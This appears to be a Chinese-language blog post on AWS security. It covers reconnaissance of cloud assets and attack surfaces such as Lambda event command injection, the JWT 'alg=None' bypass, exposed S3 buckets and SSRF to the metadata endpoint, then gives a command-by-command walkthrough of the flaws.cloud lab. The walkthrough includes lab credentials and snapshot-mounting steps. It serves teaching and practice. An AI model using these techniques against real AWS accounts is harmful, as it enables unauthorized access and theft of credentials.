云安全系列之AWS安全 2020-12-31 02:10:15 Steven Xeldax # 云安全系列之AWS安全 ## 目录 [TOC] ## AWS基础知识 ### 亚马逊云(amazonaws) AWS是亚马逊提供的专业云计算服务,所提供服务包括:云主机(EC2)、储存服务(S3)、数据库(SimpleDB)、队列服务(Queue Service)以及IoT和代码托管(Code Commit)等多种服务,是目前全球最大的云服务供应商。  ### 安全机制 #### 资源策略 AWS虚拟网络(VPC)允许定义特定IP地址和网段对云上计算和存储资源的访问。  #### IAM AWS Identity and Access Management (IAM) 的访问管理部分帮助定义委托人实体可在账户内执行的操作。AWS允许向用户分配secret用以生成token以访问特定服务,IAM策略允许定义每一个账户对任何计算(如lambda)和存储资源(如数据库)的访问权限,如下图。  IAM策略样例:  该策略允许用户对us-east-2区域内的123456789012账户中的Books表执行所有 Amazon DynamoDB 操作 (dynamodb:*),IAM策略的默认值为deny所有操作,需配置对具体资源的Allow操作才可使操作生效。 #### Lambda authorizers 在aws中存在授权方(authorizer)的概念,用户可在IAM策略中配置授权信息,如下图:  可允许特定的账户(account-id)通过aws客户端访问特定的函数(lambda-function-name)  在lambda代码中获取用户通过RESTFUL API方式提交的令牌并检验匹配哪个授权策略 #### Amazon Cognito user Amazon Cognito Web和移动应用程序提供身份验证、授权和用户管理。用户可使用用户名和密码直接登录,也可以通过第三方 (如 Facebook、Amazon 或 Google) 登录。在通过AWS Cognito的认证后,访问者会获取一个JWT Token用于身份认证,整个过程于oauth2.0类似,如下图:  #### Amazon 网关模型 在aws中建立网关(gateway)时允许用户指定云服务接受的参数类型,如下图:  该策略指定了接受参数的名称、功能(description)、数据类型(type)、长度(minium)、以及必须参数(required),通过此类配置可以防御畸形数据进入代码逻辑。 ## 针对AWS信息收集 Aws云使用虚拟网络发布资产,公网上可访问的云资产除分配唯一IP外,还通过唯一的域名进行标记,故对云资产的发现主要通过收集与目标名称、商标等关键字有关的URL和DNS记录完成。 1)google hack Dork: site:amazonaws.com inurl:{目标关键字}  2)透明证书服务(certificate transparency) 透明证书服务提供一个CA签发证书的日志,从而供用户校验证书的可靠性,可通过下载此日志并提取其中与aws及目标关键字有关的记录获取云资产 工具: https://github.com/eth0izzle/bucket-stream  3)DNS枚举 对目标关键字进行变异,并进行子域名爆破,可发现目标云资产 工具:传统子域名爆破工具可使用 https://github.com/nahamsec/lazys3 4)开源数据集检索 Rapid7 Open data项目是一个由rapid7维护的开放数据集,其中包含互联网DNS、证书、端口扫描等信息,其中FDNS部分包含了全球各地DNS探针所收集到的DNS数据(截至目前约300G,每月仍在更新),通过对数据集检索可以发现目标云资产  5)页面链接爬取 站点页面、快照内的html和js代码可能引用了云上资源,对其中代码进行检查可获取到云资产相关url 6)目标接口URL AWS Gate Way API url如下: https://{随机字符串}.execute-api.{区域代码}.amazonaws.com/{stage}/...  7)特殊HTTP HEADER 包含以下HTTP HEADER的HTTP响应报文在后端使用AWS计算资源作为支持 `x-amz-apigw-id`, `x-amzn-requestid`, `x-amzn-trace-id`  8)HTTP响应中出现的异常  /var/task为aws lambda服务代码默认路径 export.handler为lambda服务接口典型命名 ## AWS的攻击面 1)传统安全漏洞 运行在AWS云主机(VPS)上的各类服务仍受到传统漏洞影响,测试方法同传统渗透测试 2)用户凭证泄漏 攻击者可通过IoT固件逆向、移动APP逆向、代码泄漏、信息泄漏等方式获取服务账户secret、进而访问相关资源,修改用户权限,访问云主机,建立持久化后门等,如下图:  3)事件注入及环境变量问题 AWS Lambda支持通过多种事件触发函数调用,故攻击者可通过多种数据输入作为攻击面,如以下代码易受来自HTTP API参数的命令注入攻击(通过参数cmd实施命令注入)  以下代码易受来自存储服务的事件注入攻击  攻击手法如下:  上传一个以命令注入payload作为文件名的文件,云存储发生变更后,变更事件将作为触发器调用后端的lambda代码,并通过恶意的文件名完成命令注入攻击,由于AWS支持多种触发器,故SMS(短信)、存储变更、代码托管平台变更,IoT消息、服务日志等均可作为事件注入的攻击面进行盲注测试。 由于lambda建立的服务代码仅在运行时通过容器生成实例,运行完毕后随即销毁,所以无服务器架构下,通过应用漏洞在容器内建立永久控制不太可能。除重点检测容器内的永久化配置文件和函数代码外,需重点关注容器内环境变量,如下图为通过命令注入漏洞读取到的环境变量:  由于环境变量是代码运行环境实例生成时下发的,其中可能包含BUCKET,服务令牌(Token)、AWS密钥(secret)等关键信息。 4)cognito认证问题 AWS HTTP gateway可以配置用户池从而使得只有经过用户池认证的请求才进入具体的解析流程,cognito认证流程与oauth2类似,在完成认证后,会向客户端下发JWT令牌,并最终由服务端对令牌进行权限校验,AWS认证的令牌如下图:  原始数据经过base64编码后以令牌形式附加在HTTP头中,经jwt.io解码后如右图,其中header部分包含了hash校验和,payload部分包含了具体的认证信息,由于令牌的解析和校验主要由开发者自定义的代码完成,故可能存在校验不严问题: - 未校验payload部分的hash是否与header字段中的kid相同 - 部分开发包中如提交的JWT header中的alg值为None,则自动跳过校验 如出现以上两类问题,可通过修改愚用户认证相关的参数(如图中的username)实施越权攻击 5)云资产权限配置不当 攻击者可通过信息收集搜索亚马逊S3 bucket(对象存储服务)以检查目标托管在云上的存储资源,如存储资源为配置专属的访问控制,则可利用客户端在匿名或者任意账户的情况下下载存储资源。   某跨国连锁酒店托管在S3服务上的系统开发文档由于未配置合理的权限可被直接下载。 6)元数据(metadata)泄露 亚马逊云主机(EC2)通过虚拟网络提供了接口用于查询与云主机相关的元数据,具体地址如下: http://169.254.169.254/latest/meta-data/  该地址并不真实存在,只可以在云主机内部通过http请求获取相关数据,但如果EC2主机运行的服务存在本地文件包含或SSRF漏洞,则可直接通过漏洞读取主机元数据中的敏感信息。 7)流程控制问题 使用lambda建立的服务代码仅在运行时通过容器生成实例,运行完毕后随即销毁,所以无服务器架构下的代码无法通过session机制完成身份认证和流程控制。开发者需使用S3存储或数据库完成相关工作。故无服务器架构下,出现异常逻辑流程的情况更为多见。在注册、登陆、购物等模块中,通过直接访问某些接口完成验证绕过,支付绕过等情况较为多见,测试方法与一般的流程逻辑控制测试相同。  ## flaws.cloud靶场实战 ### Level 1 This level is *buckets* of fun. See if you can find the first sub-domain.  一个额外的小知识:对于每个托管在S3存储桶中的网站,都会被分配一个AWS的域名,而不需要你自己额外配置DNS。所以,flaws.cloud加上它的S3地址:http://flaws.cloud.s3-website-us-west-2.amazonaws.com/ ,也能访问到主页。  通过上述查询,我们知道flaws.cloud是一个在S3中的静态网站,地区位于us-west-2。如果使用一个自定义的域名(比如flaws.cloud)在S3中定义了一个静态站点,那它的bucket name则必须与这个自定义域名一致。对于S3存储桶上HTTP端点的URL遵循固定格式:s3-<region>.amazonaws.com/<bucketname>。基于这个准则,我们可以得出flaws.cloud的S3端点应该是http://s3-us-west-2.amazonaws.com/flaws.cloud ``` <Name>flaws.cloud</Name> <Prefix/> <Marker/> <MaxKeys>1000</MaxKeys> <IsTruncated>false</IsTruncated> <Contents> <Key>hint1.html</Key> <LastModified>2017-03-14T03:00:38.000Z</LastModified> <ETag>"f32e6fbab70a118cf4e2dc03fd71c59d"</ETag> <Size>2575</Size> <StorageClass>STANDARD</StorageClass> </Contents> <Contents> <Key>hint2.html</Key> <LastModified>2017-03-03T04:05:17.000Z</LastModified> <ETag>"565f14ec1dce259789eb919ead471ab9"</ETag> <Size>1707</Size> <StorageClass>STANDARD</StorageClass> </Contents> <Contents> <Key>hint3.html</Key> <LastModified>2017-03-03T04:05:11.000Z</LastModified> <ETag>"ffe5dc34663f83aedaffa512bec04989"</ETag> <Size>1101</Size> <StorageClass>STANDARD</StorageClass> </Contents> <Contents> <Key>index.html</Key> <LastModified>2018-07-10T16:47:16.000Z</LastModified> <ETag>"ddd133aef0f381cf0440d5f09648791d"</ETag> <Size>3082</Size> <StorageClass>STANDARD</StorageClass> </Contents> <Contents> <Key>logo.png</Key> <LastModified>2018-07-10T16:47:16.000Z</LastModified> <ETag>"0623bdd28190d0583ef58379f94c2217"</ETag> <Size>15979</Size> <StorageClass>STANDARD</StorageClass> </Contents> <Contents> <Key>robots.txt</Key> <LastModified>2017-02-27T01:59:28.000Z</LastModified> <ETag>"9e6836f2de6d6e6691c78a1902bf9156"</ETag> <Size>46</Size> <StorageClass>STANDARD</StorageClass> </Contents> <Contents> <Key>secret-dd02c7c.html</Key> <LastModified>2017-02-27T01:59:30.000Z</LastModified> <ETag>"c5e83d744b4736664ac8375d4464ed4c"</ETag> <Size>1051</Size> <StorageClass>STANDARD</StorageClass> </Contents> <Key>secret-dd02c7c.html</Key> ```  得到第二关的地址 http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/ ### Level 2 S3权限问题,虽然去掉了 Everyone 的权限,但是却给 "Any Authenticated AWS User" 授予了权限 我们利用的步骤就是直接申请一个aws用户,直接配置一个用户。   我们得到level3 的地址了 http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ ### Level 3  我们得到一个.git文件夹,gitcheckout一下  操作如下: ``` root@kali:/tmp/11# cat access_keys.txt access_key AKIAJ366LIPB4IJKT7SA secret_access_key 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 root@kali:/tmp/11# aws configure --profile flaws AWS Access Key ID [****************T7SA]: AKIAJ366LIPB4IJKT7SA AWS Secret Access Key [****************3Jys]: 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 Default region name [us-west-2]: Default output format [None]: root@kali:/tmp/11# aws s3 ls 2019-04-08 05:26:00 elasticbeanstalk-ap-northeast-2-222871916312 root@kali:/tmp/11# aws s3 ls --profile flaws 2017-02-18 14:41:52 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud 2017-05-29 12:34:53 config-bucket-975426262029 2018-07-07 12:09:49 flaws-logs 2017-02-18 14:40:54 flaws.cloud 2017-02-24 00:15:42 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud 2017-02-26 13:29:03 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud 2017-02-26 13:49:31 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud 2017-02-26 14:49:03 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud 2017-02-26 14:48:40 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud 2017-02-26 15:07:13 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud level4-1156739cfb264ced6de514971a4bef68.flaws.cloud ``` 得到level4地址 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud ### Level4 访问有密码  在level 4 挑战的描述中,我们知道,当nginx在EC2上部署后,会创建一个快照(EBS snapshot)。由这一思路出发,利用level 3中取得的账户查询flaws上运行的EC2实例的信息。 从第三关中泄露的账户中获取ECS的实例 ``` root@kali:/tmp/11# aws ec2 describe-snapshots --filters "Name=volume-id, Values=vol-04f1c039bc13ea950" --profile flaws { "Snapshots": [ { "Description": "", "Encrypted": false, "OwnerId": "975426262029", "Progress": "100%", "SnapshotId": "snap-0b49342abd1bdcb89", "StartTime": "2017-02-28T01:35:12+00:00", "State": "completed", "VolumeId": "vol-04f1c039bc13ea950", "VolumeSize": 8, "Tags": [ { "Key": "Name", "Value": "flaws backup 2017.02.27" } ] } ] } ``` ``` root@kali:/tmp/11# aws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission --profile flaws { "CreateVolumePermissions": [ { "Group": "all" } ], "SnapshotId": "snap-0b49342abd1bdcb89" } ``` ``` aws ec2 create-volume --region us-west-2 --availability-zone us-west-2b --snapshot-id snap-0b49342abd1bdcb89 { "AvailabilityZone": "us-west-2b", "CreateTime": "2020-04-30T09:12:10+00:00", "Encrypted": false, "Size": 8, "SnapshotId": "snap-0b49342abd1bdcb89", "State": "creating", "VolumeId": "vol-0f7cd6ca7cb49f515", "Iops": 100, "Tags": [], "VolumeType": "gp2", "MultiAttachEnabled": false } "Groups": [], "Instances": [ { "AmiLaunchIndex": 0, "ImageId": "ami-008c6427c8facbe08", "InstanceId": "i-0c284d26ed8413976", "InstanceType": "t2.micro", "KeyName": "steven", "LaunchTime": "2020-04-30T09:35:00+00:00", "Monitoring": { "State": "disabled" }, "Placement": { "AvailabilityZone": "us-west-2b", "GroupName": "", "Tenancy": "default" }, "PrivateDnsName": "ip-172-31-24-112.u ``` ``` root@kali:~/.ssh# aws ec2 attach-volume --volume-id vol-0f7cd6ca7cb49f515 --instance-id i-0c284d26ed8413976 --device /dev/sdf { "AttachTime": "2020-04-30T09:45:48.719000+00:00", "Device": "/dev/sdf", "InstanceId": "i-0c284d26ed8413976", "State": "attaching", "VolumeId": "vol-0f7cd6ca7cb49f515" } ``` ``` root@kali:~/.ssh# aws ec2 attach-volume --volume-id vol-0ed67f11197e579d9 --instance-id i-0c284d26ed8413976 --device /dev/sdx { "AttachTime": "2020-04-30T09:55:15.558000+00:00", "Device": "/dev/sdx", "InstanceId": "i-0c284d26ed8413976", "State": "attaching", "VolumeId": "vol-0ed67f11197e579d9" } ``` 然后里用ssh进入这个实例,把挂载盘的内容读出来 ``` root@ip-172-31-24-112:~# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvda 202:0 0 8G 0 disk └─xvda1 202:1 0 8G 0 part / xvdf 202:80 0 8G 0 disk └─xvdf1 202:81 0 8G 0 part xvdx 202:5888 0 8G 0 disk └─xvdx1 202:5889 0 8G 0 part loop0 7:0 0 93.8M 1 loop /snap/core/8935 loop1 7:1 0 18M 1 loop /snap/amazon-ssm-agent/1566 root@ip-172-31-24-112:~# mount /dev/xvdx /mnt mount: wrong fs type, bad option, bad superblock on /dev/xvdx, missing codepage or helper program, or other error In some cases useful info is found in syslog - try dmesg | tail or so. root@ip-172-31-24-112:~# mount /dev/xvdx1 /mnt root@ip-172-31-24-112:~# cd /mnt/ root@ip-172-31-24-112:/mnt# ls bin dev home initrd.img.old lib64 media opt root sbin srv tmp var vmlinuz.old boot etc initrd.img lib lost+found mnt proc run snap sys usr vmlinuz root@ip-172-31-24-112:/mnt# root@ip-172-31-24-112:/mnt/home/ubuntu# cat setupNginx.sh htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M ``` 得到密码后输入  得到level 5地址 http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/ ### Level 5 level 5 的EC2实例给我们提供了一个代理,目标点应该就在http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/ 里面寻找。 169.254.169.254是一个特殊的IP地址,在云服务上(包括AWS),为元数据服务 ``` root@kali:~/Tools/Dict# vim ~/.aws/credentials root@kali:~/Tools/Dict# aws --profile proxy s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud PRE ddcc78ff/ 2017-02-26 21:11:07 871 index.html ``` 成功获取到一个IAM角色的认证信息。我们将这个认证信息添加到~/.aws/credentials中: ``` [proxy] aws_access_key_id = ASIA6GG7PSQGTDDQYCXX aws_secret_access_key = GDgTEgIGzHntptP+d+OCUkh4kCt6OUpFAEwr3Pgp aws_session_token = IQoJb3JpZ2luX2VjEDUaCXVzLXdlc3QtMiJHMEUCIQCRhJkGWHi5ic92C1P3CYkQ6y80qrDQOGnDoIz4PwqqbQIgNNna1gE6ze5ChRMPckatRWodHnnjjvyKPR2rhUKWiAEqvwMILhABGgw5NzU0MjYyNjIwMjkiDAFu8gkhNhgSdqABnyqcA1Uf5xMvRGDIGCeB40MAxq+HZNjhrI+EhdtFfpiAFGy6XrKKEekDvXAi9r8NnCd95nQJFdQfQWIXMtSlSjSQFf9o4o3xJ3XveYEVGqMn94t2Ch+LabJkssgeNg8vgJaT/bpagAHou4L2R73JDOg/YaLxCj1VglJlfYnzdY530P/8mW+zX+bhH2CXfGVtEW/lriFWsivYBqHtou8Om0Q34uCegkiHoGjNybToqGmEkMKZcwVzLdJ3cKQbvta2vIJ4dUo99eneSS2IHzojSZNS7ikxM31jJtrTfqIRVNreshgNLPRVxnBrd4V8ceHR7+8wyDRvFqxJ9cBePfUXhVt8xh95eeYLNSyNXJRASjwsNt6XB2au1ragGFRPJj1y2iZLZoUKeeTSqeVMmyN1w7LYjPx9rrui1er+C1t/Ytedd5WG94mJ8zEuQglY0RIcMfAChogIW6ZAq+E3DcJ/ADbuRrtMlqCnK4mq4RuwSrxND9VbA7oKWZVGPVkiFeGosgDtO6Ky/fk1uW7t3jvrzDvgok7mmLrtm3XqqySwlNAw7snd8wU65wFmeTnbDFKx3sVbLZC0/ZIOmUyuOrF3Yy/xyHjuxjKnv2xgt20jT8laVf4skWLExgSyTFxubuR0iYapG+J0dn/or9GiIMPAtXqOD6OGSzi3nDUYJkmO9dp8DTTv2hYWGKzkOLA+LpNYXM5oA50agJBJ1a461ax18xnAgwj1za44+mwW+qf6Ad272mvNgI+xKRgmXHt8OUPhDQdTqyMcQHjRaqmjLNau9Cx2Ks3ddZXlq0J/DSqOp7u7UAspnkO2OAogwvkhYGv0VDfH0W0q9WqvcoAUymJjRTWh6Ncsp+ubt+cUg0OSZuw= ``` 尝试使用代理访问: ``` ~$ aws --profile proxy s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud PRE ddcc78ff/ 2017-02-27 10:11:07 871 index.html ``` 成功获得权限进入,并找到隐藏目录ddcc78ff/,访问 http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/ ,这就是level 6 的入口,成功通关level 5 http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/ ### final level 6 有access key  配置好一把梭  啥权限丢没 查看下用户的信息 ``` root@kali:~# aws iam get-user --profile level6 { "User": { "Path": "/", "UserName": "Level6", "UserId": "AIDAIRMDOSCWGLCDWOG6A", "Arn": "arn:aws:iam::975426262029:user/Level6", "CreateDate": "2017-02-26T23:11:16+00:00" } } ``` 看下这个用户有啥权限 ``` root@kali:~# aws iam list-attached-user-policies --user-name Level6 --profile level6 { "AttachedPolicies": [ { "PolicyName": "list_apigateways", "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways" }, { "PolicyName": "MySecurityAudit", "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit" } ] } ``` ``` root@kali:~# aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile level6 { "Policy": { "PolicyName": "list_apigateways", "PolicyId": "ANPAIRLWTQMGKCSPGTAIO", "Arn": "arn:aws:iam::975426262029:policy/list_apigateways", "Path": "/", "DefaultVersionId": "v4", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "List apigateways", "CreateDate": "2017-02-20T01:45:17+00:00", "UpdateDate": "2017-02-20T01:48:17+00:00" } } ``` ``` root@kali:~# aws --profile level6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4 { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Action": [ "apigateway:GET" ], "Effect": "Allow", "Resource": "arn:aws:apigateway:us-west-2::/restapis/*" } ] }, "VersionId": "v4", "IsDefaultVersion": true, "CreateDate": "2017-02-20T01:48:17+00:00" } } ``` ``` root@kali:~# aws lambda list-functions --profile level6 --region us-west-2 { "Functions": [ { "FunctionName": "Level6", "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6", "Runtime": "python2.7", "Role": "arn:aws:iam::975426262029:role/service-role/Level6", "Handler": "lambda_function.lambda_handler", "CodeSize": 282, "Description": "A starter AWS Lambda function.", "Timeout": 3, "MemorySize": 128, "LastModified": "2017-02-27T00:24:36.054+0000", "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "98033dfd-defa-41a8-b820-1f20add9c77b" } ] } root@kali:~# aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 { "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}", "RevisionId": "98033dfd-defa-41a8-b820-1f20add9c77b" } ``` ``` root@kali:~# aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id s33ppypa75 { "item": [ { "deploymentId": "8gppiv", "stageName": "Prod", "cacheClusterEnabled": false, "cacheClusterStatus": "NOT_AVAILABLE", "methodSettings": {}, "tracingEnabled": false, "createdDate": "2017-02-26T19:26:08-05:00", "lastUpdatedDate": "2017-02-26T19:26:08-05:00" } ] } ``` 根据AWS的资源端点规则:https://<rest-api-id>.execute-api.<region>.amazonaws.com/<stage-name>/<lambda function>,可以得到最终的资源点位于:https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6 。在浏览器中访问地址,返回一串文字:   ## 工具 又到了喜闻乐见的工具环节 https://andresriancho.github.io/nimbostratus/ meta data自动化利用工具 https://github.com/ajinabraham/aws_security_tools https://github.com/eth0izzle/bucket-stream ## 参考资料 无服务器安全架构-aws https://www.anquanke.com/post/id/201460?from=timeline#h2-9 https://www.freebuf.com/articles/system/129667.html